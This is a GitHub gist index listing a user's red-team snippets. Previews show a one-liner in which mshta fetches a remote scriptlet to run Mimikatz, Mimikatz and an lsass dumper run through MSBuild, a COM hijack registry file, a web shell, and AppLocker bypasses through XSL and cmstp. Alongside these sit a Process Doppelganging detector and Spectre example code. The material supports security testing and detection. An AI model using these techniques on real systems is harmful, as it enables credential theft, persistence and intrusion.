xenoscr’s gists

xenoscr / Get-Doppelgangers.ps1

Created December 31, 2017 10:39 — forked from dezhub/Get-Doppelgangers.ps1

	function Get-Doppelgangers
	{
	<#
	.SYNOPSIS

	Detects use of NTFS transactions for stealth/evasion, aka 'Process Doppelganging'

	Author: Joe Desimone (@dez_)
	License: BSD 3-Clause

xenoscr / spectre.c

Last active January 4, 2018 15:33 — forked from ErikAugust/spectre.c

Spectre example code

	#include <stdio.h>
	#include <stdlib.h>
	#include <stdint.h>
	#ifdef _MSC_VER
	#include <intrin.h> /* for rdtscp and clflush */
	#pragma optimize("gt",on)
	#else
	#include <x86intrin.h> /* for rdtscp and clflush */
	#endif

xenoscr / mimikatz.sct

Created January 18, 2018 16:46

Mimikatz inside mshta.exe - "mshta.exe javascript:a=GetObject("script:http://127.0.0.1:8000/mshta.sct").Exec(); log coffee exit"

xenoscr / InterceptorThing.ps1

Created January 24, 2018 14:50

Interceptor - Normal User No Admin Required.

	<#
	.SYNOPSIS

	This script demonstrates the ability to capture and tamper with Web sessions.
	For secure sessions, this is done by dynamically writing certificates to match the requested domain.
	This is only proof-of-concept, and should be used cautiously, to demonstrate the effects of such an attack.
	This script requires local administrative privileges to execute properly.

	Function: Interceptor
	Author: Casey Smith, Twitter: @subTee

xenoscr / Katz.Proj

Created February 4, 2018 01:15

Mimikatz In MSbuild

This file has been truncated, but you can view the full file.

	<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
	<!-- This inline task executes mimikatz. -->
	<!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
	<!-- Save This File And Execute The Above Command -->
	<!-- Author: Casey Smith, Twitter: @subTee -->
	<!-- License: BSD 3-Clause -->
	<Target Name="Hello">
	<ClassExample />
	</Target>

xenoscr / winlogon.reg

Created February 12, 2018 19:21 — forked from anonymous/winlogon.reg

WinLogon Windows 7 x64 COM Hijack

	Windows Registry Editor Version 5.00
	[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam.1.00]
	@="AtomicRedTeam"
	[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam.1.00\CLSID]
	@="{00000001-0000-0000-0000-0000FEEDACDC}"
	[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam]
	@="AtomicRedTeam"
	[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam\CLSID]
	@="{00000001-0000-0000-0000-0000FEEDACDC}"
	[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}]

xenoscr / webshell.ps1

Created February 14, 2018 18:50

Basic WebShell Simulator in PowerShell

	<#
	.SYNOPSIS

	Simple Web Shell over HTTP

	#>

	$Server = '127.0.0.1' #Listening IP. Change This. Or make it a parameter, I don't care ;-)

	function Receive-Request {

xenoscr / xsl-notepad.xml

Created February 21, 2018 13:47 — forked from bohops/xsl-notepad.xml

XSL Testing (++++++ netbiosX and subTee) - https://pentestlab.blog/2017/07/06/applocker-bypass-msxsl/

	<?xml version="1.0"?>
	<?xml-stylesheet type="text/xsl" href="https://gist.githubusercontent.com/bohops/ee9e2d7bdd606c264a0c6599b0146599/raw/6456162763d2bb427e71e41f84792867cb1b4c0f/xsl-notepad.xsl" ?>
	<customers>
	<customer>
	<name>Microsoft</name>
	</customer>
	</customers>

xenoscr / MSBuildProcDumper.csproj

Created February 23, 2018 03:32

MSBuild - Process Dumper - lsass example

	<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
	<!-- This inline task executes c# code. -->
	<!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe MSBuildProcDumper.csproj -->
	<!-- Feel free to use a more aggressive class for testing. -->
	<Target Name="Hello">
	<ClassExample />
	</Target>
	<UsingTask
	TaskName="ClassExample"
	TaskFactory="CodeTaskFactory"

xenoscr / test.inf

Created February 26, 2018 03:50 — forked from bohops/test.inf

Test inf-sct execution (+++ @NickTyrer - https://gist.github.com/NickTyrer/)

	;cmstp.exe /s cmstp.inf

	[version]
	Signature=$chicago$
	AdvancedINF=2.5

	[DefaultInstall_SingleUser]
	UnRegisterOCXs=UnRegisterOCXSection

	[UnRegisterOCXSection]

Conor Richard xenoscr